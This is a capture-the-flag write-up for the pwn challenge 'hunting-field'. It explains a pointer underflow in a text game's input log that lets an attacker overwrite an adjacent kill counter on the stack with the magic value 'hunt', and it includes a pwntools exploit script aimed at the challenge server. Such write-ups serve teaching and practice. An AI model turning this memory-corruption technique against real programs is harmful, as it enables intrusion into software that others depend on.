← Back to Writeups
CUSTOMMediumPwn

hunting-field

XESXOR9/10/20263 min read
#pwn#custom#medium#array_pointer_underflow#game_state_manipulation#little_endian_integer_overwrit#stack_layout_reconstruction

hunting-field

Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction

Summary

Walkthrough of the CUSTOM Pwn hunting-field. Task: text-based game with array pointer that decrements without bounds checking, allowing writes below the buffer into adjacent stack variable killCt. Solution: send 32 invalid inputs to exhaust the

Description

Take up your arms, and slay your enemies!

A text-based combat game on a 9×9 grid. The player (@) moves and attacks enemies (E) that spawn and chase the player. The binary is a dynamically linked, not stripped ELF 64-bit x86-64 executable with source code provided. The game_over() function prints the flag if the kill count equals the magic value 1752526452.

Analysis

The game loop reads 2-character inputs (action + direction). Invalid inputs are logged into input_log[64] via a pointer array_ptr that starts at &input_log[63] and decrements by 1 for each character written, with no bounds checking:

c
char input_log[64];
int killCt = 0;
int *kills = &killCt;
char *array_ptr = &input_log[63];

while ((!strchr("MA", player_input[0])) || (!strchr("NESW", player_input[1]))) {
    scanf("%c", &player_input[0]);
    scanf("%c", &player_input[1]);
    int c; while ((c = getchar()) != '\n' && c != EOF);
    *array_ptr = player_input[0];
    array_ptr -= sizeof(player_input[0]);  // decrement, no bounds check!
    *array_ptr = player_input[1];
    array_ptr -= sizeof(player_input[1]);
}

Each invalid input writes 2 bytes and decrements array_ptr by 2. After 32 invalid inputs (64 bytes), the pointer has moved past the beginning of input_log and into adjacent stack variables.

Stack Layout (from disassembly)

rbp-0x41 to rbp-0x80: input_log[64]  (array_ptr starts at rbp-0x41 = input_log[63])
rbp-0x81 to rbp-0x84: killCt         (4-byte int, little-endian)
rbp-0x85 to rbp-0x86: player_input[2]

Win Condition

c
void game_over(int *kills) {
    if (*kills == 1752526452) {
        // reads and prints flag.txt
    }
}

The magic value 1752526452 = 0x68756E74 is ASCII for "hunt" — a wordplay hint from the challenge name "hunting-field".

In little-endian byte order on the stack:

  • rbp-0x84 (LSB) = 0x74 = 't'
  • rbp-0x83 = 0x6E = 'n'
  • rbp-0x82 = 0x75 = 'u'
  • rbp-0x81 (MSB) = 0x68 = 'h'

Solution

Step 1: Fill the buffer (32 invalid inputs)

Send 32 invalid 2-character inputs ("xx") to exhaust the 64-byte input_log buffer. After this, array_ptr points to rbp-0x81 (the MSB of killCt).

Step 2: Overwrite killCt (inputs 33–34)

  • 33rd input "hu": writes 'h' (0x68) to rbp-0x81 (killCt MSB), then 'u' (0x75) to rbp-0x82
  • 34th input "nt": writes 'n' (0x6E) to rbp-0x83, then 't' (0x74) to rbp-0x84 (killCt LSB)

This sets killCt = 0x68756E74 = 1752526452.

Step 3: Skip player_input area (input 35)

The pointer now points into the player_input memory area (rbp-0x85/rbp-0x86). Writing here corrupts the input validation variables, making it impossible to provide a valid input from this position. One more garbage input ("xx") moves the pointer past this area.

Step 4: Exit the loop (input 36)

Send "MN" (Move North) — a valid input that passes the strchr checks and exits the inner while loop.

Step 5: Trigger game_over

Keep sending "MN" on subsequent turns. Enemies spawn periodically and chase the player. Eventually an enemy walks into the player's tile, triggering game_over(kills) which checks *kills == 1752526452 and prints the flag.

Exploit Script

python
from pwn import *

context.log_level = 'info'

io = remote('tjc.tf', 31412)

# 32 padding invalid inputs to fill input_log
for i in range(32):
    io.sendline(b'xx')

# Overwrite killCt with 0x68756E74 ("hunt")
io.sendline(b'hu')  # 33rd: MSB(0x68) + byte2(0x75)
io.sendline(b'nt')  # 34th: byte1(0x6E) + LSB(0x74)

# Skip past player_input area
io.sendline(b'xx')  # 35th: garbage

# Valid input to exit loop
io.sendline(b'MN')  # 36th: move north

# Keep moving until enemy reaches player → game_over
for i in range(30):
    io.sendline(b'MN')

io.recvuntil(b'Game Over!', timeout=30)
result = io.recvuntil(b'}', timeout=10)
print(result.decode())
io.close()

Key Takeaways / Lessons

  • Mastering array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-16 • CUSTOM • hunting-field • Difficulty: Medium